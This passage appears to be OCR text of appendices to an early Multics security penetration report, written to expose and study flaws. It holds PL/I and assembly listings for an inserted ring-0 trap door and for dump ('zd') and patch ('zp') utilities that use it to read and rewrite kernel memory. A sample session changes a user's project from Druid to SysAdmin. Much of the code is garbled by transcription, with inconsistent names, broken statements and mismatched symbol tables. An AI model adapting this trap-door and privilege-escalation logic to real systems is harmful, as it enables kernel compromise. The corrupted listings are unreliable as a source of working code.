<td>cc</td>
<td></td>
<td></td>
<td>external irreducible ref 2</td>
</tr>
<tr>
<td>cc</td>
<td></td>
<td></td>
<td>external irreducible ref 122</td>
</tr>
</tbody>
</table>
000133 aa 6 00144 7561 00 stq  sp1100
000134 aa 6 00146 8501 20 stz  sp1102
000135 aa 6 00044 8701 20 emapl  sp135
000136 aa 4 00036 2361 20 ldq  lp130
000137 aa 6 00152 7561 00 stq  sp1106
000140 aa 6 00001 2360 07 ldq  1,dl
000141 aa 6 00116 7561 00 stq  sp78
000142 aa 6 00116 2361 20 ldq  sp78
000143 aa 6 00152 1161 00 cmpq  sp1106
000144 aa 6 00002 6000 04 tse  2,lc
000145 aa 6 00024 6050 04 tpl  20,lc
000146 aa 6 00114 2371 00 ldq  sp176
000147 aa 6 00011 7320 00 qra  9
000150 aa 6 00777 6910 07 ana  511,dl
000151 aa 6 00000 6270 20 eax7  0,q1
000152 aa 6 00116 2361 20 ldq  sp78
000153 aa 6 00023 8030 07 mpy  19,dl
000154 aa 6 00000 6220 06 eax2  0,q1
000155 aa 6 00000 7260 07 lx16  32,dl
000156 aa 6 00044 2701 20 emapl  sp135
000157 aa 6 00036 5521 72 empp  lp130
000160 aa 6 77756 5521 00 empp  bp138
000161 aa 6 00043 6791 00 tusb  sp419
000162 aa 6 00114 7261 00 lx16  sp100
000163 aa 6 00114 5521 20 empp  sp176
000164 aa 0 00510 6701 00 tusb  sp392
000165 aa 0 00002 6010 06 tix  2,lc
000166 aa 0 0031 7101 00 tra  sp1409
000167 aa 6 00116 0541 20 acm  sp178
000170 aa 7777 7100 00 tra  -22,lc
000171 aa 6 00044 3701 20 emapl  sp135
000172 aa 4 00036 2361 20 ldq  lp28
000173 aa 6 00146 7561 20 stq  sp102
000174 aa 0 00631 7101 00 tra  sp1409
000175 aa 0 00631 7101 00 tra  sp1409
END PROCEDURE checks device_index

STATEMENT 1 ON LINE 129

STATEMENT 1 ON LINE 130

STATEMENT 1 ON LINE 134

STATEMENT 1 ON LINE 137

STATEMENT 1 ON LINE 140
zgt  proc (dp, word); /* Entry to read out 36 bits */
dcl 1 zdata$code ext static aligned,
     2 code fixed bin aligned,
     2 key bit (72) aligned,
     2 inst (2) bit (36) aligned,
     2 (ptr1, ptr2) ptr aligned;
     /* structure passed to ring 0 */
     /* standard system error code */
     /* 72 bit key to prevent accidental use */
     /* 2 instructions to be XED'ed by ring 0 */
     /* ptr to read 36 bits; ptr to store 36 bits */

dcl  do ptr, word bit (36) aligned;

dcl  hcs_$check_device entry (char (*), fixed bin (17), fixed bin),
     dctx fixed bin (17) init (0);

   ptr1 = dp;
   ptr2 = addr (word);
14  csmpnt call hcs_$check_device ("", dctx, code); /* call ring 0 */
   return;
16
17 zfi  entry (dp, word); /* Entry to patch 36 bits */
18  ptr1 = addr (word);
19  ptr2 = do;
20  go to common;
21  end;
### Names Declared in this Compilation

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>000012</td>
<td>External static</td>
<td>Fixed bin(17,8)</td>
<td></td>
</tr>
<tr>
<td>dctx</td>
<td>000010</td>
<td>Automatic</td>
<td>Fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>dp</td>
<td></td>
<td>Parameter</td>
<td>Pointer</td>
<td></td>
</tr>
<tr>
<td>hcs_check_device</td>
<td></td>
<td>Constant</td>
<td>Entry</td>
<td></td>
</tr>
<tr>
<td>inst</td>
<td>000003</td>
<td>External static</td>
<td>Bit(36)</td>
<td></td>
</tr>
<tr>
<td>key</td>
<td>000001</td>
<td>External static</td>
<td>Bit(72)</td>
<td></td>
</tr>
<tr>
<td>ptr1</td>
<td>000001</td>
<td>External static</td>
<td>Pointer</td>
<td></td>
</tr>
<tr>
<td>ptr2</td>
<td>000012</td>
<td>External static</td>
<td>Pointer</td>
<td></td>
</tr>
<tr>
<td>word</td>
<td>000001</td>
<td>Parameter</td>
<td>Bit(36)</td>
<td></td>
</tr>
<tr>
<td>zdata&amp;code</td>
<td>000012</td>
<td>External static</td>
<td>Structure</td>
<td></td>
</tr>
</tbody>
</table>

**Names Declared by Explicit Context**

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>common</td>
<td>000030</td>
<td>Constant</td>
<td>Label</td>
<td>dcl 14 ref 14 20</td>
</tr>
<tr>
<td>zl</td>
<td>000052</td>
<td>Constant</td>
<td>Entry</td>
<td>external dcl 17 ref 17</td>
</tr>
<tr>
<td>zg</td>
<td>000011</td>
<td>Constant</td>
<td>Entry</td>
<td>external dcl 1 ref 1</td>
</tr>
</tbody>
</table>

**Name Declared by Context or Implication**

- addr: builtin function internal ref 13 18

### Storage Requirements for this Program

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Defs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>144</td>
<td>162</td>
<td>72</td>
</tr>
<tr>
<td>Length</td>
<td>322</td>
<td>72</td>
<td>16</td>
<td>128</td>
<td>92</td>
</tr>
</tbody>
</table>

External procedure zg uses 82 words of automatic storage

### The Following External Operators are Used by this Program

- call_ext_out_desc
- return
- ext_entry

### The Following External Entries are Called by this Program

- hcs_check_device

### The Following External Variables are Used by this Program

- zdata&code

---

<table>
<thead>
<tr>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
<th>Line</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>9</td>
<td>000005</td>
<td>12</td>
<td>000017</td>
<td>13</td>
<td>000025</td>
<td>14</td>
<td>000030</td>
<td>15</td>
<td>000050</td>
<td>17</td>
<td>000051</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Address</td>
<td>Value</td>
<td>Name</td>
<td>Segment</td>
<td>Code</td>
<td>Use</td>
<td>Impure</td>
<td>Comment</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>-------</td>
<td>------</td>
<td>---------</td>
<td>------</td>
<td>-----</td>
<td>--------</td>
<td>---------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000000</td>
<td></td>
<td>00011</td>
<td>name</td>
<td>zdata</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000000</td>
<td></td>
<td></td>
<td>segdef</td>
<td>code</td>
<td></td>
<td></td>
<td>make code addressable</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000010</td>
<td>aa</td>
<td>000000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000011</td>
<td>aa</td>
<td>000000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000012</td>
<td>aa</td>
<td>742331</td>
<td>code</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000013</td>
<td>aa</td>
<td>621553</td>
<td>key</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000014</td>
<td>aa</td>
<td>200000</td>
<td>oct</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000015</td>
<td>aa</td>
<td>200000</td>
<td>stq</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000016</td>
<td>aa</td>
<td>077777</td>
<td>its</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000017</td>
<td>aa</td>
<td>000001</td>
<td>itp</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000020</td>
<td>aa</td>
<td>077777</td>
<td>its</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000021</td>
<td>aa</td>
<td>000000</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**NO LITERALS**
NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

000000 5a 000004 000000
000001 2a 000011 000001
000002 4a 004 143 157 144  code
000003 4a 145 000 000 000
000004 3a 000012 000000
000005 5a 000000 000000
000006 4a 014 163 171 155  symbol_table
000007 4a 142 157 154 137
000009 4a 164 141 142 154
000011 4a 145 000 000 000
000012 5a 000017 000000
000013 5a 000037 000002
000014 4a 010 162 145 154  rel_text
000015 4a 137 164 145 170
000016 4a 154 000 000 000
000017 5a 000024 000000
000021 4a 010 162 145 154  rel_link
000022 4a 137 154 151 156
000023 4a 155 000 000 000
000024 5a 000031 000000
000026 4a 012 162 145 154  rel_symbol
000027 4a 137 163 171 155
000028 4a 142 157 154 000
000031 4a 000000 000000

NO EXTERNAL NAMES

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

000032 4a 000001 000000
000033 4a 000000 000000

INTERNAL EXPRESSION WORDS
MULTICS ASSEMBLY CROSS REFERENCE LISTING

<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>code</td>
<td>zdata1</td>
<td>2, 6</td>
</tr>
<tr>
<td>10</td>
<td>impure</td>
<td>zdata1</td>
<td>3, 13</td>
</tr>
<tr>
<td>12</td>
<td>key</td>
<td>zdata1</td>
<td>7</td>
</tr>
</tbody>
</table>

NO FATAL ERRORS
APPENDIX D

Dump Utility Listing

This appendix is a listing of a dump utility program designed to use the trap door shown in Section 3.4.5 and Appendix C. The program, zd, is a modified version of the installed Multics command, ring_zero_dump, documented in the MPM Systems Programmers' Supplement (SPS73). Zd will dump any segment whose SDW in ring zero is not equal to zero. In addition, zd will not dump the ring zero descriptor segment, because the algorithm used would result in the ring 4 descriptor segment being completely replaced by the ring 0 descriptor segment which could potentially crash the system. Zd will also not dump master procedures, since modifying their SDW's could also crash the system.
/* This procedure prints out specified locations of a segment
   in octal format. It checks first to see if the segment has a counterpart
   in ring 0 and if not checks the given name */

dcl. targ char (tc) based (tp),
    (error_table_snoarg, error_table_ssegknown) fixed bin ext,
    (code, outl, i, tc, first, initsw, the_same, next_arg, offset, left, pg_size, bound) fixed bin,
    count fixed bin (39),
    f (3) char (16) aligned static int ("-60 ~ w", "-60 ~ m ~ w", "-60 ~ m ~ w"),
    data (1024) fixed bin,
    bdata (1024) bit (36) aligned based (addr (data)),
    overlay (8 (left-1)) bit (36) aligned based,
    (tp, datap, segptr) ptr,
    dirname char (160),
    ename char (32),
    cv_oct_check_entry (char (*), fixed bin) returns (fixed bin (35)),
    (cos_err_, loa_) entry options (variable),
    ringo_get_esegptr entry (char (*), char (*), ptr, fixed bin),
    hcs_terminate_noname entry (ptr, fixed bin),
    hcs_initiate entry (char (*), char (*), char (*), fixed bin, fixed bin, ptr, fixed bin),
    (zg, zf, zg) entry (ptr, bit (36) aligned),
    sw fixed bin,
    dseg_word bit (36) aligned based (addr (dseg)),
    cu_sarg_ptr ext entry (fixed bin, ptr, fixed bin, fixed bin),
    condition_ext_entry,
    expand_path_ext_entry (ptr, fixed bin, ptr, ptr, fixed bin);

dcl. 1 dseg aligned,
    2 pad1 bit (19) unal,
    2 bnd bit (8) unal,
    2 size bit (1) unal,
    2 pad2 bit (2) unal,
    2 sec bit (6) unal;

dcl. save_seg bit(36) aligned,
    wsegptr ptr;

  initsw = 0;
  datap = addr (data);
  /* initsw = 0 if we haven't initiated a segment */
  /* get pointer to data area */

  call cu_sarg_ptr (i, tp, tc, code);
  /* pick up the first arg (name/number) */
  if code = error_table_snoarg | tc = 0 then do;
    call loa_ ("rzd segno/name first count");
    return;
  end;

  if targ = "-na" | targ = "-name" then do;
    /* use specified a segment number */
    next_arg = 3;
  /* next argument to pick up is 0 3 */
  call cu_sarg_ptr (next_arg-i, tp, tc, code);
  /* pick up the ascii for the segment name */
  if code = 0 then do
    /* not there */
56 end;
57 go to get_name;
58 end;
59
60 next_arg = 2;
61 i = cv_oct_check_(targ, code);
62 if code -= 0 then do;
63 get_name
64 symptr = null ();
65 call ring0_get_$segptr ("", targ, symptr, code); /* get pointer to the segment */
66 if symptr = null () then do;
67 call expand_path_ (tp, tc, addr (dirname), addr (name), code); /* convert to dir/entry names */
68 if code -= 0 then go to missing;
69 call ncs_initiate (dirname, name, "", 0, 0, symptr, code); /* get pointer to segment */
70 if code -= 0 then if code -= error_table_ $segknown then go to missing; /* must terminate the segment later */
71 end;
72 else symptr = baseptr (i);
73 /* get pointer to base of segment */
74
75 if basename(symptr) = "0"b then do;
76 /* You may not dump dseg this way */
77 call com_err_ (0, "2d", "It is a no-no to dump dseg.");
78 return;
79 end;
80 call cu$_arg_ptr (next_arg, tp, tc, code);
81 if code = error_table_shiftarg 1 tc = 0 then do;
82 first = 0;
83 count = 1000000;
84 go to get_bound;
85 end;
86 first = cv_oct_check_(targ, code);
87 if code -= 0 then do;
88 call loa_ (""RAed first word \"-a \"", targ);
89 return;
90 end;
91 call cu$_arg_ptr (next_arg+1, tp, tc, code); /* get count of words to dump */
92 if code = error_table_shiftarg 1 tc = 0 then count = 1; else do;
93 count = cu_act_check_ (targ, code); /* convert count value */
94 if code -= 0 then do;
95 call loa_ (""RAed count value \"-a \"", targ);
96 return;
97 end;
98 end;
99
100 get_bound:
101 call ring0_get_$segptr ("", "dseg", dsegsegptr, code);
102 call 2g ($ptr (baseptr (0), basename (symptr)), dseg_word); /* get size of segment from bound in SW */
103 if dseg_word = "0"b then do;
104 call loa_ (""SWD = 0");
105 return;
106 end;
107
108 if substr (dseg_acc, 4, 3) = "100"b then do;
109 call loa_ ("d1 Master procedure, SWD = \"", dseg_word);
call zgpsz(xdsegptr, baseno(xsegptr)), save_acc; /* get wired ring access and save in save_acc */
call zgpsz(xdsegptr, baseno(xsegptr)), dseg_word; /* change wired ring access to ring 0 access */
if dseg_size then pg_size = 4; else pg_size = 1024; /* get page size */
bound = (fixed (dseg.bnd, 8) + 1)*pg_size; /* get words of segment */
if count > bound - first then count = bound - first; else if count < 1 then go to bad_count;
offset = 0; /* specifies which 1024 word block we're moving from ring 0
outl = 1;
loop:
if count >= 1024 then left = 1024; else left = count; /* get number of words to print in this loop */
addr (bdata) -> overlay = ptr (segptr, first+offset) -> overlay;
i = 1;
the_same = 0;
if left <= 3 then go to rem; /* if <= 3 to print, do it straight out */
do while (left > 3); /* loop in print loop while at least 4 words to print */
    if the_same = 0 then
        call ioa_ ("So ", "W ", "W ", first+offset-1, data (i), data (i+1), data (i+2), data (i+3));
    else if the_same = 1 then call ioa_ ("++++++");
    do tc = 0 to 3;
        /* check for duplicate line */
        if data (i+tc) = data (i+tc+4) then go to different;
    end;
    the_same = the_same + 1;
go to skip;
different:
    the_same = 0;
go to skip;
skip:
i = i + 4;
outl = outl + 4;
left = left - 4;
end;
offset = offset + 1024;
count = count - 1024;
if count > 0 then go to loop; /* loop back if still more to print */
if left <= 0 then do;
    do tc = 0 to left-1;
        if data (i+tc) = data (i+tc+4) then go to rem;
    end;
    if the_same < 2 then call ioa_ ("++++++");
go to check_init;
res:
    call ioa_ (if (left), first+offset-1, data (i), data (i+1), data (i+2));
end;
check_init:
call zgpsz(xdsegptr, baseno(xsegptr)), save_acc; /* replace old wired ring access */
if initok = 0 then call hcs_terminate/name (segptr, code);
return;
end;
<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>acc</td>
<td>002196</td>
<td>automatic</td>
<td>bit(6)</td>
<td>level 2 packed</td>
</tr>
<tr>
<td>bdata</td>
<td>002206</td>
<td>automatic</td>
<td>bit(36)</td>
<td>level 2 packed</td>
</tr>
<tr>
<td>bind</td>
<td>002206</td>
<td>automatic</td>
<td>bit(6)</td>
<td>level 2 packed</td>
</tr>
<tr>
<td>bound</td>
<td>0119</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>code</td>
<td>000100</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>com_err_count</td>
<td>000834</td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>cu_sarg_ptr</td>
<td>000052</td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>cv_sct_check_data</td>
<td>000032</td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>data</td>
<td>000119</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 61 186</td>
</tr>
<tr>
<td>datap</td>
<td>002120</td>
<td>automatic</td>
<td>pointer</td>
<td>array dcl 7 set ref 118</td>
</tr>
<tr>
<td>dirname</td>
<td>002124</td>
<td>automatic</td>
<td>char(160)</td>
<td>external dcl 7 set ref 118</td>
</tr>
<tr>
<td>dseg</td>
<td>002206</td>
<td>automatic</td>
<td>structure</td>
<td>external dcl 7 set ref 118</td>
</tr>
<tr>
<td>dseg_word</td>
<td>000036</td>
<td>based</td>
<td>bit(36)</td>
<td>external dcl 7 set ref 118</td>
</tr>
<tr>
<td>ename</td>
<td>002176</td>
<td>automatic</td>
<td>char(32)</td>
<td>external dcl 7 set ref 118</td>
</tr>
<tr>
<td>expand_path_t</td>
<td>000026</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>f</td>
<td>000054</td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>first</td>
<td>000010</td>
<td>internal static</td>
<td>char(16)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>hcs_initiate</td>
<td>000010</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>hcs_terminate_noname</td>
<td>000004</td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>i</td>
<td>002102</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>initsw</td>
<td>000056</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>inc_</td>
<td>000001</td>
<td>constant</td>
<td>entry</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>i2</td>
<td>000002</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>left</td>
<td>000102</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>next_arg</td>
<td>000001</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>offset</td>
<td>000010</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>outi</td>
<td>002191</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>overlay</td>
<td>000000</td>
<td>based</td>
<td>bit(35)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>pad1</td>
<td>002206</td>
<td>automatic</td>
<td>bit(19)</td>
<td>array dcl 7 set ref 118</td>
</tr>
<tr>
<td>pad2</td>
<td>002206</td>
<td>automatic</td>
<td>bit(2)</td>
<td>level 2 packed</td>
</tr>
<tr>
<td>pg_size</td>
<td>000012</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>level 2 packed</td>
</tr>
<tr>
<td>rimplg_set_ssegptr</td>
<td>000040</td>
<td>constant</td>
<td>entry</td>
<td>level 2 packed</td>
</tr>
<tr>
<td>save_acc</td>
<td>000207</td>
<td>automatic</td>
<td>bit(35)</td>
<td>external dcl 7 set ref 118</td>
</tr>
<tr>
<td>ssegptr</td>
<td>000212</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>size</td>
<td>002206</td>
<td>automatic</td>
<td>bit(1)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>target</td>
<td>000103</td>
<td>automatic</td>
<td>char</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>tc</td>
<td>002206</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>external dcl 7 set ref 118</td>
</tr>
<tr>
<td>the_same</td>
<td>000106</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 118</td>
</tr>
<tr>
<td>tp</td>
<td>002116</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 7 set ref 118</td>
</tr>
</tbody>
</table>
NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED.

```
condition_  000000 constant entry
sw
```

NAMES DECLARED BY EXPLICIT CONTEXT.

```
bad_count  000736 constant label
check_limit  001463 constant label
different  001341 constant label
get_bound  000770 constant label
get_name  000327 constant label
loop  001175 constant label
missing  000256 constant label
rem  001424 constant label
skip  001342 constant label
zd  000114 constant entry
```

NAMES DECLARED BY CONTEXT OR IMPLICATION.

```
addr
beano
baseptr
fixed
null
ptr
substr
```

STORAGE REQUIREMENTS FOR THIS PROGRAM.

```
Object   Text   Link   Symbol   Defs   Static
Start   0   0   1696   1734   1516   1666
Length  2124  1516   96   156   148   46
```

External procedure zd uses 1254 words of automatic storage.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

```
r_eas  cp_cs
```

THE FOLLOWING EXTERNAL FUNCTIONS ARE CALLED BY THIS PROGRAM.

```
call_ext_out
```

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

```
line
```

THE FOLLOWING EXTERNAL VARIABLES ARE CALLED BY THIS PROGRAM.

```
cu_article
```

error_table
```
APPENDIX E

Patch Utility Listing

This appendix is a listing of a patch utility corresponding to the dump utility in Appendix D. The utility, zp, is based on the installed Multics command, patch_ring_zero, documented in the MPM System Programmers' Supplement (SPS73). Zp uses the same algorithm as zd in Appendix D and operates under the same restrictions. A sample of its use is shown below. Lines typed by the user are underlined.

```
zp pds 660 123171163101 144155151156
660 104162165151 to 123171163101
661 14404040040 to 144155151156
Type "yes" if patches are correct: yes
```

As seen above, the command requests the user to confirm the patch before actually performing the patch. The patch shown above changes the user's project identification from Druid to SysAdmin.
COMPILATION LISTING OF SEGMENT zp
Compiled on 04/10/74 1845 e est Wed
Options: map

1 zpl proc;
2 /* This procedure allows privileged users to patch locations in ring 0.
3 If necessary the descriptor segment is patched to give access to patch a non-write
4 permit segment */
5
dcl targ char (tc) based (tp),
6 (error_table_$noarg, error_table_$segknown) fixed bin ext,
7 (code, l, tc, first, sw) fixed bin,
8 (segptr, segptr) ptr static,
9 wdsegptr ptr,
10 get_process_id ext entry returns (bit (36) aligned),
11 processid bit (36) aligned,
12 data (0: 99) fixed bin static,
13 overlay ($count-1) bit (36) aligned based,
14 count fixed bin static,
15 (tp, datemp, datemp) ptr,
16 dirname char (168),
17 ename char (32),
18 cv_oct_entry (char (*)) returns (fixed bin (35)),
19 cv_oct_check_entry (char (*), fixed bin) returns (fixed bin (35)),
20 ring0_get_$segptr entry (char (*), char (*), ptr, fixed bin),
21 (loa_, loa_$nn) entry options (variable),
22 los_read_ptr entry (ptr, fixed bin, fixed bin),
23 (zg, zg$stat) entry (ptr, fixed bin (35)),
24 buffer char (16) aligned,
25 cu$_arg_ptr ext entry (fixed bin, ptr, fixed bin, fixed bin),
26 expand_path ext entry (ptr, fixed bin, ptr, ptr, fixed bin);
27
dcl 1 adw based aligned,
28 2 adw bit (30) unal,
29 2 acc bit (6) unal;
30
dcl save_acc fixed bin(35);
31
datemp = addr (data); /* get pointer to data area */
32 count = 0;
33
call cu$_arg_ptr (l, tp, tc, code); /* pick up the first arg (name/number) */
34 if code = error_table_$noarg l tc = 0 then do;
35   call loa_ ("prz name/segno offset value ... value")
36   return;
37 end;
38 l = cv_oct_check_ (targ, code); /* get segment number */
39 if code = 0 then do;
40   if segptr = null () /* if null() we're still in trouble */
41     call ring0_get_$segptr ("", targ, segptr, code); /* so assume ring 0 name */
42     if segptr = null () then do;
43       call loa_ ("a not found.", targ);
44     return;
45   end;
46 end;
47 return;
48

call cu_sarg_ptr (2, fp, tc, code);  /* pick up second arg (first word to dump) */
if code = error_table$noarg | tc = 0 then go to mess;
first = cv_oct_ (targ);
segptr = ptr ($segptr, first);
semptr = ptr (segptr, baseno (segptr));
call ring0_get$segptr("", "wdsig", wssegptr, code);

/* Now check the access on the segment about to be patched */
datap = addr (data);
dataip = addr (datai);
call zp (semptr, data (0));
if data (0) = 0 then do;
call ioe_ ("pt SDW = 0");
return;
end;

if subst (datap -> sdw.acc, 4, 3) = "100"h then do;
call ioe_ ("pt Master procedure, SDW = "w", data (0));
return;
end;
datap <- sdw.acc = "110010"h;
call zpg(ptr(wssegptr, baseno(segptr)), save_acc);
call zpgz(ptr(wssegptr, baseno(segptr)), data(0));

/* Now pick off the arguments */
i = 2;
loop:
i = i + 1;
/* get next argument */
call cu_sarg_ptr (i, fp, tc, code);
if code = error_table$noarg | tc = 0 then go to endarg;
datai (i-3) = cv_oct_ (targ);
/* convert i'th arg */
go to loop;
endarg;
count = i - 3;
if count = 0 then go to mess;
datap -> overlay = segptr -> overlay;
do i = 0 to count-1;
call ioe_ ("60 "w to "w", first+i, data (i), datai (i));
end;
call ioe_$nni ("Type ="yes" if patches are correct! ");
call ioe_sread_ptr (addr (buffer), 16, i);  /* read in the answer */
if i = 4 then go to reset;
if subst (buffer, 1, 3) = "yes" then go to reset;

/* Now do the patches */
segptr -> overlay = dataip -> overlay;

/* Now reset access (in dsig) if necessary */
reset: call ioe_setoffset(wssegptr, baseno(segptr)), save_acc;
### Names Declared in This Compilation

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>acc</td>
<td>0(30)</td>
<td>based</td>
<td>bit(6)</td>
<td></td>
</tr>
<tr>
<td>buffer</td>
<td>000260</td>
<td>automatic</td>
<td>char(16)</td>
<td></td>
</tr>
<tr>
<td>code</td>
<td>000100</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>count</td>
<td>000150</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>cu_sarg_ptr</td>
<td>000204</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>cu_oct</td>
<td>000164</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>cu_oct_check_</td>
<td>000166</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data</td>
<td>000106</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td></td>
</tr>
<tr>
<td>data1</td>
<td>000104</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>data2</td>
<td>000256</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>data3</td>
<td>000254</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>error_table_knows</td>
<td>000162</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>first</td>
<td>000103</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>i</td>
<td>000101</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>l</td>
<td>000172</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
